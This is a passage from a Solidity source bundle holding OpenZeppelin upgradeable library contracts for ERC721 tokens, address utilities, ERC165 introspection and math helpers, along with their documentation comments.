(reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n *\n * WARNING: Anyone calling this MUST ensure that the balances remain consistent with the ownership. The invariant\n * being that for any address `a` the value returned by `balanceOf(a)` must be equal to the number of tokens such\n * that `ownerOf(tokenId)` is `a`.\n */\n // solhint-disable-next-line func-name-mixedcase\n function __unsafe_increaseBalance(address account, uint256 amount) internal {\n _balances[account] += amount;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[44] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be burned (destroyed).\n */\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n function __ERC721Burnable_init() internal onlyInitializing {\n }\n\n function __ERC721Burnable_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev Burns `tokenId`. See {ERC721-_burn}.\n *\n * Requirements:\n *\n * - The caller must own `tokenId` or be an approved operator.\n */\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _burn(tokenId);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/math/SignedMathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMathUpgradeable {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol": {
